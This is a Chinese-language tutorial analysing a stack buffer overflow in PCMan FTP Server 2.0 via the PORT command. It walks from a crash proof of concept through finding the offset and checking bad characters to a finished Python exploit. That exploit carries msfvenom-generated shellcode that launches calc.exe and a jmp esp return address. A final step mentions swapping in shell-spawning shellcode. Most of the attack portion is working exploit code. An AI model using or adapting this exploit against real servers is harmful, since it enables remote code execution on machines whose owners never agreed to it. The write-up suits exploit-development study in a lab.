2019年1月

PCMAN FTP 2.0 缓冲区溢出漏洞分析

程序下载地址:https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
测试环境:Win 7 x86
调试工具:Immunity debugger
POC如下:

#!/usr/bin/env python
import socket
print "Creating malicious input!"
junk = '\x41'*3000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '127.0.0.1'
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
s.send('PORT' + junk + '\r\n')
s.close()
        

运行程序并执行POC,程序崩溃,结果如下
12.png
EIP地址已经变成了我们所写的\x41,覆盖了EIP地址,证明该程序存在缓冲区栈溢出。
下一步,我们确定该程序的偏移地址,这里我们实用msf自带的程序,生成3000个字符。
2.png
POC程序这时如下:

import socket
print "Creating malicious input!"
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2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Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
 
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '127.0.0.1'
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
s.send('PORT' + junk + '\r\n')
s.close()

执行以上POC,结果如下图所示
3.png
EIP变成了7043396F,同样使用msf自带的工具,根据EIP的地址,查询具体的偏移
4.png
上图所示,偏移为2008,为了证明偏移正确,这时我们的POC改成如下并执行

import socket
print "Creating malicious input!"
junk = "\x41"*2008+"\x42"*4+"\x43"*(3000-2008-4)
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '127.0.0.1'
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
s.send('PORT' + junk + '\r\n')
s.close()

如果偏移我们计算的正确,此时EIP应该被我们控制成\x42 我们执行并查看
5.png
可以看到EIP确实被覆盖成\x42,下一步,
坏字符。
6.png
可以看到从01一直到ff基本都是正常显示,只有0a变成了00,那么我们知道坏字符就是变成了00,我们直接生成弹计算器的shellcode,在生成shellcode时,默认屏蔽\x0a和本身的\x00
msfvenom -p windows/exec cmd=calc.exe --arch x86 --platform windows  -f python -b "\x0a\x00"
同时寻找jmp esp地址
7.png
我们选择kernel32.dll做为我们的跳转地址,接着Ctrl+f搜索jmp esp,
8.png
763af7f7就是我们的地址,数据在内存中的存储顺序是四个字节一组倒着存储,俗称小端序,所以我们需要把地址反着写入,最终我们的跳转地址为\xf7\xf7\x3a\x76
最终我们的POC如下

import socket
print "Creating malicious input!"
 
buf =  ""
buf += "\xbf\xc0\x1b\xb9\x96\xda\xc5\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x31\x31\x7a\x13\x03\x7a\x13\x83\xc2\xc4\xf9"
buf += "\x4c\x6a\x2c\x7f\xae\x93\xac\xe0\x26\x76\x9d\x20\x5c"
buf += "\xf2\x8d\x90\x16\x56\x21\x5a\x7a\x43\xb2\x2e\x53\x64"
buf += "\x73\x84\x85\x4b\x84\xb5\xf6\xca\x06\xc4\x2a\x2d\x37"
buf += "\x07\x3f\x2c\x70\x7a\xb2\x7c\x29\xf0\x61\x91\x5e\x4c"
buf += "\xba\x1a\x2c\x40\xba\xff\xe4\x63\xeb\x51\x7f\x3a\x2b"
buf += "\x53\xac\x36\x62\x4b\xb1\x73\x3c\xe0\x01\x0f\xbf\x20"
buf += "\x58\xf0\x6c\x0d\x55\x03\x6c\x49\x51\xfc\x1b\xa3\xa2"
buf += "\x81\x1b\x70\xd9\x5d\xa9\x63\x79\x15\x09\x48\x78\xfa"
buf += "\xcc\x1b\x76\xb7\x9b\x44\x9a\x46\x4f\xff\xa6\xc3\x6e"
buf += "\xd0\x2f\x97\x54\xf4\x74\x43\xf4\xad\xd0\x22\x09\xad"
buf += "\xbb\x9b\xaf\xa5\x51\xcf\xdd\xe7\x3f\x0e\x53\x92\x0d"
buf += "\x10\x6b\x9d\x21\x79\x5a\x16\xae\xfe\x63\xfd\x8b\xf1"
buf += "\x29\x5c\xbd\x99\xf7\x34\xfc\xc7\x07\xe3\xc2\xf1\x8b"
buf += "\x06\xba\x05\x93\x62\xbf\x42\x13\x9e\xcd\xdb\xf6\xa0"
buf += "\x62\xdb\xd2\xc2\xe5\x4f\xbe\x2a\x80\xf7\x25\x33"
 
 
nop="\x90"*32
#jmp esp \xf7\xf7\x3a\x76
junk = "A"*2008+"\xf7\xf7\x3a\x76"+nop+buf+"C"*2000
 
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '127.0.0.1'
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
s.send('PORT' + junk + '\r\n')
s.close()

NOP是空指令,这个指令不会对程序有任何影响 只是因为它可以执行不会出错而且只有一个字符 所以常用来作为填充
9.png
计算器弹出成功
生成弹shell的shellcode并执行
10.png
11.png